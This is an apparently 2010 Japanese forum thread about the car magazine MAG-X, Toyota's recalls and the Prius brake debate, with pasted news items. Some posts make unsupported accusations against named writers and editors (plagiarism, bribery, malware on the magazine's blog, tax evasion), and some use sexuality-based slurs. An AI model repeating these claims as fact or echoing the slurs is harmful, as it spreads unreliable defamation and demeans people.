への信頼はすでに失われつつあるとの結果が出ているほか、中国新聞網は「日本自動車メーカーの壊滅的現状に対し、良質かつ安価で
名をはせた『メイド・イン・ジャパン』の名誉は地に落ちた」としている。

　　中国では2004年より自動車のリコール制度を正式に定めた『欠陥自動車製品のリコール管理規定』が施行されている。
施行から2010年2月までに中国で実施されたリコール台数は300万台を超えているが、中国新聞網では
「日系の合弁自動車メーカーによるリコールが8割を占めている」とした。

　　また記事では、『品質管理』によって名をはせた日本企業は、市場拡大を目指した結果に『品質管理』をおろそかにしてしまったと分析し、
中国自動車メーカーはトヨタのリコール問題を教訓に品質の向上に力をいれるべきであるとしている。（編集担当：及川源十郎）

>>459
そのためのＡＢＳなのにな

今回の問題はパニックブレーキ時じゃないだろ。
普通に緩やかな制動時の問題だろ。現象をすり替えてどうするんだ？
低μ路で緩やかなブレーキを踏んだときにABSが作動するまでタイムラグが
有るって話でしょうが。
そんな路面でABSが効いたらかえって怖いって話なら分かるけどね。
明らかに緩めっぱなしで止まらないから。

ABS効くぐらいにどーんと踏めという論調はいかがかと思うが、
急加速の問題に対するスケープゴートな気もするんだけどなあ。
自分が乗った限りでは、違和感はアクセル制御>>>>ブレーキ制御だった。

≪≪ トヨタの不祥事年表を作ろう ≫≫
http://namidame.2ch.net/test/read.cgi/auto/1266889830/

>>462
実際ニュースは、459や461と同じ論調で理解しないで流してる感じだね
今回のベストカーが結構解り易く解説してると思うので、見てみるといいよ

>>464
そうなんだ。買いに行ってみるよ。thks

>>465
コンビニ立ち読みで良いかとｗ

余裕のある車間でゆるく踏む＞効かないで空走＞車間詰まってあせってパニクるって流れだと思ってたよ
まあヨタ車には興味ないんでどうでもいいが

記事とはまったく関係なし方向に進む
オタが群てなにをする
あっちいけや

まあ、まあ。そんなこと別にいいじゃん。
どうせクソ雑誌の三文記事。どうでもいい内容。
自動車評論家や車雑誌自体が取るに足らない無駄なゴミ。
その下らない車雑誌の中でも三流なんだから適当でいいよ。

>>469
そんなに「クソ雑誌の三文記事。どうでもいい内容」なら、
このスレを一々覗かなくてもいいのにｗ

三流雑誌の編集長怒らせると
ブログでウイルスばら撒かれるぞw

与太と違って
隠蔽工作

>>470
それ言っちゃダメ！
気になってしょうがない人なんだから

しきりにブログネタを引きずる人がいるけど、
そんなに自分の愛車を貶されたのが悔しかったのかなあｗ

「若者の車離れは脱オープンが原因」って記事があるが
逆だろ。
90年代にオープンか高額スポーツしかなくなったのがスポーツ車離れの原因だって。

いくらスポーツ車好きでも二座オープン購入するのは日本ではハードル高いし、
スーパーカー世代にはオープンそんなに訴求しないよ。

>>473
>>469は自分の車が評価されなかったのが気に入らないんだろう。
ｍａｇＸとかを攻撃するのも、その手のやつ。

「ヤマ（山場）無し」「オチ無し」「意味無し」

「ヤマ（山場）無し」「オチ無し」「意味無し」
「ウイルス有り」「反省・謝罪無し」

まあマグペケ叩いてもトヨタが落ち目なのは変わらないがw

>>457
>責任あるのは奥田の拡大主義だけ引き継いだ無能な張と、極端な下請けいじめ＆開発丸投げを黙認した渡辺だろ。

渡邉は社長当時に「拡大が急すぎて兵站が伸びきっている、このままじゃヤバい」ってことをたびたび言ってたんだけどね
結局対策できてなかったか、対策が追いついてなかったってことだわな

トヨタ、全世界で１６０万台対象　油漏れの自主改修
http://www.47news.jp/CN/201003/CN2010030201000867.html

トヨタ自動車は２日、エンジンオイルの関連部品に亀裂が生じ、オイル漏れが生じる恐れがあるとして米国や日本で
昨年秋から実施している自主改修の対象車が、全世界の合計で約９０カ国の約１６０万台に上ることを明らかにした。

　中国や東南アジア、欧州などで対象車が約２３万台あることが判明。
米国も、今後改修を始めるものを含めると７車種の計約１２４万９千台となることが分かった。

　ほかにカナダが５車種の約７万６千台、日本が５車種の約４万５千台となっている。

　対象は「カムリ」「ハリアー」「レクサスＥＳ」など世界で計１２車種。いずれも排気量３５００ｃｃのＶ６型エンジンを搭載している。

「ウイルス有り」「反省・謝罪無し」
「情報漏えいで事業聴取有り」
「編集部員との不倫有りが」
「スクープ雑誌きどるが新ネタ何も無し」

>>479
「兵站が伸びきっている」と警告したのは渡邉じゃない、奥田です。
http://sekihi.net/writers/2023

渡邉は奥田の警告を受け入れて、
人手不足を補うため、多くの車種の開発を下請けに丸投げした。

＞多くの車種の開発を下請けに丸投げした。

なんつー解決策w

まあ、今時ヨタ車やマグペケに金を払うのは大バカってことで。

2006年10月3日にトヨタ労働組合が、トヨタ・代表取締役社長、渡辺に要望書を出しているんだな。
http://www.katch.ne.jp/~atunion/recall.pdf

＞技術者の現状は、恒常的な長時間労働・高負荷と成果主義人事制度になやまされ、
＞しかも慢性的人手不足のなかでストレスを強く感じながら、目前の仕事をこなすのが精一杯の状態で豊かな発想が難しくなっている。
＞そうした中で、技術者不足を補うために社外者活用が、2001年は4000 人（24.9％）だったのが、
＞2004年は10000 人（43.9％）を超える状況になっています。このことは必然的に、技術レベルを低下させ品質低下となって現れているのではないのか。

モロさんが輸入車一気乗りしたので、
次回のメルマガから感想を書いていくみたいね。

ゴルフRが気になる。

なんだかんだで、モロが一番信用できる

いつか破綻するとわかっていながら拡大路線を止められなかったというのは、やはり奥田・渡辺ラインの失策。

>>487
それはない

信用というのか知らないが、評価軸を自分のそれと比較しやすい気はするな＞モロ

トヨタの社長の爪の垢を煎じて飲ましたい

>>490
会社の金でレース三昧するようになっちゃうよ。

トヨタ：２月の米新車販売８．７％減　「独り負け」状態に
http://mainichi.jp/select/biz/news/20100303k0000e020019000c.html?link_id=RAH05

>488
GMがやった自動車版サブプライムローン問題に対抗せざるえない部分もあったけど、あれは踏みとどまるべきだったな。

金融商品に頼ったＧＭの失敗
ttp://oshimas.iza.ne.jp/blog/entry/898851/

今のリコール問題を考えるとトヨタも顧客軽視だったのは変わらないのは残念だが（苦笑）。

>>440
読み終わった。エアラインオタの本だったけど面白かった。
帯なしなので中古でいいです。

〔アングル〕仏プジョーとの資本提携破談、優先株めぐる三菱自<7211.T>側の思惑外れる 2010年 03月 3日 17:18
http://jp.reuters.com/article/marketsNews/idJPnTK036808320100303

　大手国内証券のアナリストは、三菱グループにとって破談は想定外だった可能性があ
る、とした上で「切り札のアイミーブを自社で世界中で販売する体制を持たない三菱自は、
資本提携がなくともＰＳＡと関係を維持し、販売などを委託するのが自然」とみる。

　　０５年に旧独ダイムラークライスラー（現ダイムラー(DAIGn.DE: 株価, 企業情報, レポ
ート)）から一方的に出資引き揚げと支援撤退を表明された三菱自は、三菱グループに
とっていわば「出戻り」企業。今回のＰＳＡとの資本提携交渉は、なんとしても成功させた
いとの声が多かったが、事実上振り出しに戻った格好。トヨタ自動車(7203.T: 株価, ニュ
ース, レポート)のリコール（回収・無償修理）問題など国内自動車産業の行方が不透明
ななかで、三菱グループの今後の動向が注目される。

この雑誌、内容が全くないな。
存在価値あるのか？
今時紙媒体の内容の薄い車雑誌とかｗ
かといって、サイバーの方はウィルスだらけだし。

三菱自動車工業(7211)は東証1部下落率3位に　仏プジョーとの資本提携見送りで財務先行き懸念高まる
http://mainichi.jp/life/money/kabu/nsj/news/20100304200349.html

立ち読みはするけど買わない雑誌の代表格だな

でも今月号は珍しく内容は頑張った方だと思う。ひさびさに買った。

【自動車】トヨタ、日米100万台自主改修　油漏れの恐れ、公表せず［10/03/02］
http://anchorage.2ch.net/test/read.cgi/bizplus/1267659756/

チェーン系の書店だけど
今月もまったく売れていないな
あの中身の無いワンパターン誌面じゃ
>>496さんに同意で、存在価値ゼロ

この一生懸命リンク貼ってるキ印何なの？

>>490
トヨタなら和田元副社長だろ

>>490
渡邉とか勘弁してくれよｗ

>>496
立ち読みぐらいしてやれよ

>>505
内容が無い、と言い切ってる所から見て
立ち読みぐらいはしてるんだろ、内容を確認するためにｗ

内容が無いのに　
見出しはデカイ
（センスは無し）

>>507
なんでそんな内容が無い雑誌のスレで、必死になるんだｗ

価格アップしたが以前より売れないせいかね？

hosyu

まあ、車の雑誌なんだから軍事ネタは止めて欲しいわ
その記事もマトモなら良いんだが、清谷とか田母神はねーよｗ

田母神なんてネトウヨが賛美しているだけで、
軍事オタの間じゃ、その評論内容は貶されまくってるというのにｗ

>>511
ネトウヨとか言ってる時点で信用できない。

この雑誌も10年ぐらい前に大谷ｗの警察批判記事載せだしたりし始めてから変な方向に行っちゃったね
読者は新車スクープと総括が読みたいだけで自称ジャーナリストのオナニー記事やピンクチラシ見たいわけじゃないんだよな

読者がみんなオマエみたいなバカだとでも思ってるのかねえw

社会派のコラムのネタがあったぞ

【五輪】キムヨナ、「広告関連の五輪憲章違反」で金メダル剥奪か？日本のネット上で話題に→ 韓国側「問題提起は分かるが強引過ぎる」★5
http://yutori7.2ch.net/test/read.cgi/mnewsplus/1267747231/

>>512
あれ？言っちゃあ拙いの？
じゃあ酷使様でいいのかな？

>>513
同意。
他にも元木とか要らないんだよなｗ
ピンクチラシの件については、車メーカーからの広告料がアテにできないから、なんとか言って、
また、それはそれで良かったんだがｗ

とりあえず、自称ジャーナリスト系の記事は不要だろうな。

米リコール対応後トヨタ車、急加速苦情６０件
http://www.yomiuri.co.jp/atmoney/news/20100305-OYT1T00417.htm

警察批判はもっと昔からやっていたけどね。黒田ジャーナルとか。
安協追求キャンペーンとか読み応えがあった。

編集長が
公務員や特殊法人をやたら目の仇にしているらしいｗ
理由は本人のいかがわしい経歴と、しつこく批判しても文句を言ってこないからだろ。
ボルボ・ジャパンのような反論してこない所、弱い所には
やたらと高飛車に批判する雑誌。

この雑誌も90年代後半から3日後発表の新車のカタログ掲載したり（もちろんメーカーのリーク）し始めて終わったよな
スクープイラストも全く当たらないしさ
もう総括の内容だけカートップにでも載せてくれればこの雑誌要らないんだけど

もっとページ数を減らしてほしい。５９０円のままでいいから。

９０年代始めから現在までの総括を纏めて単行本にしてくれるなら、
間違いなく購入するだろうなぁｗ

モロとか福野礼一郎とか参加していた頃の記事をまた見てみたい。

【自動車】三菱自動車、仏プジョーとの資本提携見送り…優先株めぐる三菱側の思惑外れる［10/03/03］
http://anchorage.2ch.net/test/read.cgi/bizplus/1267614319/

モロ連載更新。

牧野氏も登場。
これからトヨタ問題について連載するらしいが、なかなか面白い。

幸福のペンダント系の広告が面白すぎるｗ

>>522
俺はボンバーの記事をまた見てみたい。

>>522
僕は山崎大紀センセーのどどぴゅんコなマンガが見たいです
センセの書く人妻ってなんであんなにエロイのだろう

トヨタ問題、米議会の追及続く＝急加速で追加情報開示を要求−電子系統の調査不十分
http://www.jiji.com/jc/c?g=eco_30&k=2010030600143

>>526
元ネタの兼坂翁の記事と、見開き比較形式にして欲しいな。

個人情報漏えいブログで車に関係ない記事を書きまくっている
山形浩生も盗作ライターw
出入りしているのってこんな奴ばっかww

【ふま】山形浩生について語るスレ【No.9】
http://love6.2ch.net/test/read.cgi/books/1203825163/

ダイハツ社長に伊奈氏
http://osaka.yomiuri.co.jp/eco/news/20100306-OYO8T00214.htm

　ダイハツ工業は５日、箕浦輝幸社長（６６）が退任し、後任の社長に伊奈功一副社長（６１）が昇格する人事を固めた。
白水宏典会長（６９）は留任する。６月に開く株主総会後の取締役会で正式に決める見通しだ。

　箕浦氏は、親会社であるトヨタ自動車出身で、国内の軽自動車販売でスズキを抜いて首位に立つなど、販売・生産の両面で
経営基盤を固めてきた。６月で就任から丸５年を迎えることから、若返りを図る。

　伊奈氏もトヨタ出身で、生産畑を主に歩んだ。２００９年６月にトヨタ専務からダイハツ副社長に転じた。

山形浩生について語るスレ
http://academy6.2ch.net/test/read.cgi/sociology/1170432239/

黒木玄、山形浩生、菊池誠、稲葉振一郎
http://academy6.2ch.net/test/read.cgi/sociology/1179630295/

自動車と無関係のイカサマライター使っているのは
編集長がなにか弱みでも握られたか、裏金でももらってんだろ
　　　　　　↓
名無しさん＠社会人：2009/09/29(火) 00:27:45
びっくりした。本書の内容は室井が2005年に学内誌とネット上に発表し、ぼくが
http://cruel.org/other/smoking.html
で批判した中身が相当部分変わらずに使われている。
この文についてかれは、まったく反論ができず、
自分は統計を信じていないという言い逃れをするしかないていたらく。
2005年には、かれは本当に知らなかったのかも知れない。
でも本書で、かれは自分でもまちがっていると知っていることを、
素知らぬ顔で繰り返し書いている。一応は知識人を名乗っているだろうに。
読者をだまして恥ずかしくありませんか？　
もはや最低限の知的な誠実さや良心すらない、卑しい売文の徒になりはてましたか。情けなや。

結局は編集長が自称ジャーリズム指向
しかも車のことなんてなんにもしらないから、どんどんと内容が壊れていく
知能指数は０に近いから仕方がないんだけど
自然の摂理なんだよ

山形浩生、小谷真理に名誉毀損で訴えられ敗訴した男。
（現在でも検索可）

廃刊が近いと言う噂を聞いたので、可哀想になって一冊購入しました。

1年ほど前に職場の人が購入したのを見せてもらった事はあったけど
自分では5年以上購入していなかったな。
当時はサラ金と性風俗関係の広告に相当のページが割かれていた。
今で言う「闇のルポタージュ」みたいな連載もあったけど、
上記のような広告ばかりの雑誌を普通の人は読まないだろうから
社会に与えるインパクトは少しも無い事は容易に想像が出来た。

「ざ総括」なんかは、他人の仕事にケチを付けるだけで
自分達は何も生み出さない典型的な「評論家」様の集い。
内容には明らかに590円の価値が無いと思った。
「Gスポーツ　存亡の危機」なんて記事が乗っているけど
マガジンXも「存亡の危機」だと素直に思いました。

ワンコイン（５００円）が妥当だと思うがな

まあ思い上がったトヨタ社員には良い薬だよ

非生産的だよな

久々にこのスレ来たんだけど、ボンバーは元気？

切られて、口コミ不買運動やってる。

ラリーアートが10日に解散発表らしいね
つまりもう二度とラリー競技に復帰しないって事だろうな・・

>>537
>「ざ総括」なんかは、他人の仕事にケチを付けるだけで
>自分達は何も生み出さない典型的な「評論家」様の集い。

はあ？もともと評論なんだけど。
だいたい、大メーカー相手にケチをつけられる評論家、媒体がどれだけあることか。
そういうところを俺は買ってる。
ただしここ数年は総括以外は（総括もか）つまらなくなったので、
本自体はあんまり買わないけど。

試乗レビュー：トヨタ マークX
ttp://autos.yahoo.co.jp/ncar/review/report/mm0373/4/
>　気になったのは、出足の重さだ。これはペダルの設定だと思うのだが、サイドブレーキが
>引いてあるんじゃないか?と何度か確認してしまうくらい重かった。あまりに軽いのも考え物
>だが、改善が必要なポイントだと思う。

総括が何と言おうが世間はちょいと踏んだらビュッと飛び出す車が大好きなんです。

>>535
何度もリニューアル繰り返すより
編集長代えたほうがマシだろ
もはや手遅れだがｗ

総括＆パージ

【三菱】ラリーアートが解散
http://tsushima.2ch.net/test/read.cgi/news/1268075466/

三菱自「ラリーアート」も今月末終了へ

　三菱自動車が、１００％子会社でモータースポーツ関連事業会社「ラリーアート」の業務を今月末で終了することが９日、明らかになった。

　三菱自は、自動車のオフロード競技「ダカール・ラリー（通称パリ・ダカ）」と、世界ラリー選手権（ＷＲＣ）から撤退しており、
モータースポーツ関連事業の縮小を一段と加速する。

　「ラリーアート」は三菱自のモータースポーツ活動支援などを行っているが、ここ数年、売り上げ不振で赤字が続いていた。
ブランド名は残す方針だ。

（2010年3月10日09時56分 読売新聞）
http://www.yomiuri.co.jp/atmoney/news/20100309-OYT1T01192.htm

三菱自元副社長ら、罰金確定へ　リコール回避で虚偽報告
http://www.47news.jp/CN/201003/CN2010031101000702.html

【社会】 ﾄﾖﾀの工場で､生産ﾗｲﾝ上の車に｢硫化水素充満中｣張り紙→車内に期間従業員の自殺遺体…愛知★2
http://tsushima.2ch.net/test/read.cgi/newsplus/1268375446/

フタバ産業、ダイハツリコールの原因部品を製造
http://response.jp/article/2010/03/12/137603.html

フタバ産業は12日、3月11日にダイハツ工業が国土交通省に届け出たへ『ハイゼット』など3車種のリコールの原因となった緩衝装置
（ロアアーム）に関して、同社製の製品だと公表した。

同社製の前輪緩衝装置のロアアームのナックル連結部のかしめが不足しているものがあり、縁石などに衝突した場合、ロアアームから
ナックル連結部が外れて走行不能になるおそれがあるとしてリコールを届け出た。対象台数は27万4324台。

フタバ産業は今回のリコールで点検や交換、対策費用について、ダイハツから請求が見込まれ、その場合は、補償費用を特別損失として
計上し、金額については現在、ダイハツと協議中で、確定次第公表するとしている。

>>522
WEBサイトに一月だけ登録して総括記事全部DLすればいいじゃん

こんなセキュリティ対応が甘いブログに
クレジット情報を教えるなんて命知らず

【自動車】東京電力と日産など5社、電気自動車の充電技術で協議会［10/03/15］
http://anchorage.2ch.net/test/read.cgi/bizplus/1268620605/

どうせ今月もワンパターンのジュネーブ・モーターショーレポート

【日韓/自動車】 日本ダイハツの部品購入団が韓国訪問[3/15]
http://yutori7.2ch.net/test/read.cgi/news4plus/1268631051/

ダイハツ　「部品を韓国製にします、日本の部品はもういいです。」
http://tsushima.2ch.net/test/read.cgi/news/1268633460/

CHAdeMO協議会、ボッシュやPSAも参画
http://response.jp/article/2010/03/15/137697.html

電気自動車（EV）の急速充電器の標準化や普及を図る「CHAdeMO協議会」が15日発足し、日本の自動車や同部品メーカーなどのほか、
外国からも仏 PSA（プジョー・シトロエン・グループ）や独ボッシュなど19社が会員として参画した。

協議会はまず日本での標準化を策定し、世界各国・地域にも導入してもらい世界標準化をめざす。
日本では2009年夏から三菱自動車工業と富士重工業（スバル）がEVを発売したのに続き、
日産自動車も2010年秋から順次、米国、日本などでの販売に踏み切る。

急速充電器の標準化でも日本が先行する形となっており、外国企業は世界的なビジネスの展開などを狙いに協議会に参画した。
一方、日本の自動車メーカーではダイハツ工業を除く乗用車7社が会員として参加している。
ホンダは開発部門の本田技術研究所が会員となった。

４月号もまったく売れていない。

トヨタ：苦戦の中国市場でリコールが追い打ち−戦略見直しの必要も
http://www.bloomberg.co.jp/apps/news?pid=90920009&sid=af71YaEvW3kI

カナダ議会がトヨタ<7203.T>のリコール問題で公聴会、政府への報告の遅れを非難
http://jp.reuters.com/article/marketsNews/idJPnJT861726820100316

【自動車】独ダイムラーと仏ルノー、株式持ち合いに向け協議中=FT［10/03/16］
http://anchorage.2ch.net/test/read.cgi/bizplus/1268706667/

直リン厨○んだらいいのに

毎度思うがここにアドレス貼ると何かあるんだろうか？

中の人にとって都合が悪いネタが書き込まれると
直後にコピペが貼られるんだよな

2ちゃんチェックばっかりやってないで
たまには取材しろよｗ

>>563
編集部批判以外の書き込みした後でも、流れ読まずに貼り付けられているがｗ

＞2ちゃんチェックばっかりやってないで
＞たまには取材しろよｗ

編集部が憎くて仕方ないのは分かるが、妄想はほどほどになｗ

保守

【自動車】ホンダのハイブリッド車「ＣＲ─Ｚ」、受注台数は８０００台に
計画の８倍　受注の４割がマニュアル車
http://tsushima.2ch.net/test/read.cgi/newsplus/1268839179/

>>558
この雑誌って立ち読み専用じゃないの？

ジュネーブモーターショーの素人写真でページ埋め

国内新型車、ブレーキ優先装置の義務化検討　国交省
http://www.asahi.com/business/update/0318/TKY201003180510.html

抜粋

　国土交通省は１８日、自動車のアクセルよりブレーキの機能を優先させる装置について、国内を走る新型車を対象に義務化する
検討を始めた。トヨタ自動車の車が米国で暴走した事故を受けての措置だ。

　「ブレーキ・オーバーライド・システム」と呼ばれる装置で、アクセルペダルが踏み込んだ状態から戻らなくなっても、
ブレーキを踏めば優先され、確実に止まる仕組み。米国で昨年８月、トヨタ車のアクセルペダルがフロアマットにひっかかって暴走し、
４人が死亡した事故では、車にこの装置がなく、必要性が指摘されていた。

　日本では、トヨタと日産自動車の一部の車種ですでに搭載されており、トヨタは一連の問題を受け、全車搭載の方針を表明している。
ホンダ、マツダは新型車に順次搭載する方針を決定。三菱自動車と富士重工業も時期は未定だが搭載の方針だ。
軽自動車が主力のスズキとダイハツ工業も検討しているが、
軽はブレーキ優先システムに対応できる電子制御システムを採用していない車種もあるという。

ほんとに貼りまくり。
なにがしたいのか、馬鹿めが

ウイルス撒き散らしブログ

>>571
何必死になってんだ、こいつｗ

前車バイワイヤになるのか？

ぜんぜん売れていないから
「特別定価」とか読者偽って
今月号からまた値上げする気だろw

>>555
それと
「積雪のおかげでカー用品店が一息つけた」って記事かな

もう過渡期だと思うよ
打開策も見いだせないし
あっさり身を引くのもいいんでないの
唯一の功績になると思うよ、馬鹿の

韓国「バンクーバー五輪キム・ヨナ記念コイン」実は外国製　裏にはエリザベス２世の肖像
http://namidame.2ch.net/test/read.cgi/poverty/1269308346/

大丈夫か？トヨタ　リコール問題真っ只中でも章男社長はレースに夢中
http://news.livedoor.com/article/detail/4673901/

この大変な時期に、社長は何をやっているのか。
リコール問題で大揺れのトヨタは１５日、５月に行われる「ニュルブルクリンク２４時間
耐久レース」への３年連続の参戦を発表した。
「それはいいのですが、問題はその日の章男社長のブログです」（トヨタ関係者）
豊田章男社長は「ドライバーモリゾウ」の名前でブログをやっている。自身が参加する
レースの様子などをリポートしているのだ。１５日のブログも、冒頭こそ〈この度のリコ
ールでは、皆さんをはじめ、多くのお客様にご迷惑とご心配をおかけし、大変申し訳
ありません〉と、謝罪で始まっているが、あとはレースのことばかり。
〈モリゾウも、昨日テストコースで参戦車両のテストをして、いい汗をかくことができま
した〉
〈昨年とはまた、一味違い安定感があり疲れにくいクルマに仕上げてくれています〉
〈今年もレースの模様はＧＡＺＯＯ　ＲａｃｉｎｇのＷｅｂサイトでライブ中継します〉
リコール問題のさなかにレースカーに試乗したことを喜々として報告するとは……。
「あまりに能天気と思われかねない。謝罪だけにとどめておいて欲しかったというのが
ホンネです」（前出のトヨタ関係者）
章男社長のレース狂いは有名だ。社長就任直前の昨年５月には、同レースにドライバ
ーとして参戦。その際も「危機意識が低い」と社内外から批判を浴びた。さすがに今年
は社長の参戦はないだろうが、危機意識の低さは変わっていないようだ。

車に興味が無いヤツが社長になるより余程マシだろｗ
レースに参加＝無駄、と言ってる時点で、そいつは車好きでは無いなｗ

>>578
ホンダの社長が　Ｆ１マシンとかＷＧＰマシンに乗って遊ぶと
さすがホンダの社長！　遊び心があって素晴らしい！　なんて大絶賛なのに
トヨタの社長は道楽息子呼ばわりされるんだよな。　ｶﾜｲｿｽ。ｗ

>>580
企業風土やろねｗ
ホンダの場合はエンジニア出身の社長じゃないと「終わったなホンダも」みたいな感じだし

だけどテレ東の番組では友部氏にゴルフの話題ばっかり振ってたね＞伊東社長

保全

>>580
ホンダの場合は、自社PRの場で社長自らが乗って、周りを驚かせるって演出だったからな。
自社が大変な時に、ブログでレース談義してたら、ホンダの社長でもたたかれると思う。

トヨタがグループの国内生産体制再編へ、車種集約
http://jp.reuters.com/article/topNews/idJPJAPAN-14506920100325
［東京　２５日　ロイター］

　トヨタ自動車(7203.)は２５日、ダイハツ工業(7262.)や日野自動車(7205)を含めたグループ全体の
国内生産体制を再編する方針を明らかにした。
現在トヨタはグループで１７工場が国内でそれぞれ複数の異なる車種を製造している。

　同じ車種でも生産が複数の工場にまたがることもある現状を見直し、今夏までに再編計画を策定、２０１０年代中に
工場間での車種移管などを行う方向で検討している。広報部が明らかにした。

　トヨタは金融危機以後の生産急減で採算が悪化、２０１０年３月期は２期連続の連結営業赤字を見込む。
生産水準は回復傾向にあるものの、独フォルクスワーゲン（ＶＷ）(VOWG.DE)や韓国・現代自動車(005380.KS)などが
コスト・品質両面で追い上げつつあり、生産台数が大幅に回復しなくとも利益が安定的に確保できる体制を目指している。

16 ：名無しさん＠そうだドライブへ行こう：2010/03 /17(水) 10:19:55 ID:Yrql5kZc0
ここの編集部にオカマの童貞(35)がいる
http://namidame.2ch.net/test/read.cgi/car/1238227379/l50

オカマが童貞なのは当たり前なのじゃなくて？

バイｗ

バイセクシャル　ばいせくしゃる
■bisexual

■両性愛者。
ヘテロセクシャル（異性愛者）やホモセクシャル（同性愛者）に対し、男性にも女性にも性的な魅力を感じる人のこと。
またそういうライフスタイルを送ること。バイ、バイセクと略されることも。

はてなキーワード
ttp://d.hatena.ne.jp/keyword/%A5%D0%A5%A4%A5%BB%A5%AF%A5%B7%A5%E3%A5%EB

発売日くらい雑誌の話をしろよ

日産もダイムラー出資か　ルノー加え、３社株持ち合いも
http://www.asahi.com/business/update/0326/TKY201003250574.html

トヨタが総括に電話で反論してきたぞw
さすがに放置して置けなくなったか
総括の影響力をww

総括がパージ（purge）されたなんてジョークにもならないｗ

ついに馴染みの書店での扱いが1冊だけになった
もうだめだろ

>>594
お前が行く前に全部売れちゃったんだよ、きっと

>>594が言いたいのは馴染みの書店がもうだめだって事だろ

今月号を買わなかった。カーアンドドライバーも買わなかった。
ＮＡＶＩは休刊だし。ベストカーとディズニーファンだけ買った。

>>594は自分の人生を悲観してるんだろう

今月号もとりあえずスペース埋めただけｗ

保守します

株式の専門家におかしな記事をアドバイスしてもらったのか
トヨタグループ関係の話で、日野、ダイハツなど連結子会社（傘下）と関連企業の区別がやっと分かったみたいだｗ

>>592
俺的には、CGが今年中にも廃刊するかも・・・・・てのがビックリだわ。
もしそうなったら、買う雑誌がFロードとMAG-Xぐらいになってしまうなあ・・・・

ＣＧは、あのりコール隠しの三菱車を長期レポートを始めた時点で「焼きが回った」と確信した。

つーか、あの記事ってカーグラの買い手が決まる前に書かれてるよね

メーカーから車を下賜（かし）されるかな

トヨタ叩きが捏造だったことが明らかになり騒動が鎮静化しつつあるのに
今月号はトヨタ叩き記事で満載。
あまりに紙面を割いたので差し替えできなかったんだな。
明らかに浮いてる論調だった。

ネタの鮮度でウェブに勝てるわけないしな

この雑誌のブログ、マルウェアしこんであったみたいだけど

よく寄稿している「すぎもとたかよし」さんのブログ見に行ったらブラウザがマルウェア警告してきたw。
同類相哀れむなんかなぁ。新車心象風景好きなんだけど。

過去の総括読みたいんだけどこんなサイトだとクレカ番号入力する気になれない。
何とかしてほしい。

鮮度以前にセンスが無い　枯れている
何度リニューアルしても無意味w

清水和男さんの記事を読んだ後で、最新号のＭＡＧ−Ｘを読むと
総括も落ちぶれた事がはっきりわかるな。
多系統ブレーキについて理解できないなら、原稿を書かなければいいのに。
福野が去った後の劣化はひどかったが、ココまで落ちぶれたらもう廃刊でいいよ、この雑誌。

>>610
同意。
総括のエセ技術者はこれ、
ttp://minkara.carview.co.jp/userid/360795/blog/p3/
とホリデーオートの記事を１００回音読してから謝罪記事を書けよｗ

あれ、今の総括って両角さんが書いてないの？
2008年ぐらいから「全天候型スポーツ」「ダンパーにあと1000円」「ここにいる実験ドライバーと」
といういつもの両角節が見られなくなったんだけど

清水和男って久しぶりに見たけど
いつからあんなキャラになったの？

>>610
なら、ちゃんと名前ぐらいは正しく書けよｗ
何が「清水和男」だｗｗｗ

引越作業中にセプター（カムリワイドって報じてたが）のスクープの頃のＸが出てきた。
あの頃は写真の扱いが、ドキドキさせる感じでよかったな。
切った貼ったの写真になっても、手元にある写真はなるべく載せて
見せようとするハートとか、よかったなぁ。
あの頃は、未知の新型車や新技術が世に出始める直前だったから
それもドキドキしながら見てたなぁ。
カルディナのエアリアルとかルシーダのスカイキャノピーとか、
売るわけがないと思う車が出てきたりして、楽しかったなぁ。

>>611
あーあ、総括に書いてあることを、久しぶりに真面目に読んだなｗ

＞ホリデーオートの記事を１００回音読してから謝罪記事を書けよｗ
うーん、清水氏のブログと総括に書かれた内容のどこが違うのか分からんねｗ

要は、清水氏のブログ（ホリデーオート等）で言ってるのは、
プリウスには、回生ブレーキの他に、電動ポンプ式の油圧ブレーキと、機械式油圧ブレーキの２系統があって、
この油圧ブレーキの切り替えに問題があったと。

総括に書かれているのは、
プリウスの構造見た限りでは、ブレーキペダルの踏み込み量を感知して作動する通常の油圧ブレーキと、ＡＢＳ系によるブレーキ制御を分けて
油圧ブレーキを２系統と主張しているとしか考えられないと。

ここで問題になるのは、清水氏らの言ってる、２系統の油圧ブレーキの正体は何か？ということになるなｗ

季刊から月刊になると内容が薄くなると言うジンクス

買うつもりで軽自動車乗り比べなんて書いてたけど
そこにiMIEV入ってくる時点で乗る気ナッシングって感じなんだけど

MAG-X読んでみた。
Ｘ字配管が何のためにあるのかを考えずに
液圧回路が２重になっている、あるいは２分割されている場合が
”自動車技術のお約束だったと思います”…
ってこいつ本当に"元部品メーカーのエンジニア"か？
あの構成なら、ブレーキフルードに漏れが発生しても
ソレノイドを閉じれば、別のブレーキは使えるだろ。

仮に電気故障が発生してリニアバルブ制御の油圧系統が使えなくとも
ハイドロブースター油圧系統が使えるから２系統。
こう考えられない頭の固さは致命的だな。

>>616
総括の記事なんざ、ケツで考えて足で書いてるから真面目に読む必要なし。
いきなりＥＢＣとか間違えるは、先月の写真の間違いを編集部のせいするは
自分の書いた記事も見直さないとか、物書きとしては三流。

>>619
だな。配管が２本ずつないから１系統って
字面を追いかけて揚げ足取りをしてるだけ。どこまで昭和脳なんだろう。
本質は不具合が起こった際にそれをカバーする方法が用意されているかどうか。

総括
プリウスのブレーキを語る人から抜粋
・事情通：オレには意味がわからないけど←じゃあ書くな
・ベテラン実験ドライバー：あれで間違ってないはずだ←自分で裏を取れ
・エンジニアリングコンサルタント：オレはそう思う←お前の意見じゃなくて事実を書け
・ベテラン実験ドライバー：３代目はどうなんだろう？←自分で調べろよベテランなんだろｗ

じっくり読むと
それらしく技術用語を散りばめてそれらしく書いているけど、すべて衒学
薄っぺら。写真や図も編集部に丸投げで、技術的裏づけは皆無。

こんなの信じるやつは、メカ音痴のオカマかポン引き。

>621
だって、一人で複数居るように書いてるってボンバーがバラしてたし。

まあ総括のレベル低下は今に始まった話じゃないんで今更なんだけどね…
それでも普段見下してるメーカーから突っ込みが入るようになったってのもどうなのよと

今年も税金ごまかしで頭がいっぱいで、
車雑誌なんかやってらんないってかw

保全

総括に叩かれた与太関係者が必死だなw

総括のメンバーって車メーカー関係ばかりのハズなのに、語っていることが国内向け目線ばかり
だったことがオカシイことに今になって気付いた。

輸出商品である車だからこそ海外向けとの違いについて触れた話が今でなかった様な気がした
のは．．．．．．やっぱり創作座談会だったからなのねｗ

今更の話？

ざ・総括は対談形式を装った、技術的裏づけが皆無の衒学オナニーと総括されました。

ところで
>>616
の頭が固いメカオンチくんの反論はまだ？
そのまま逃げるの？

>>629
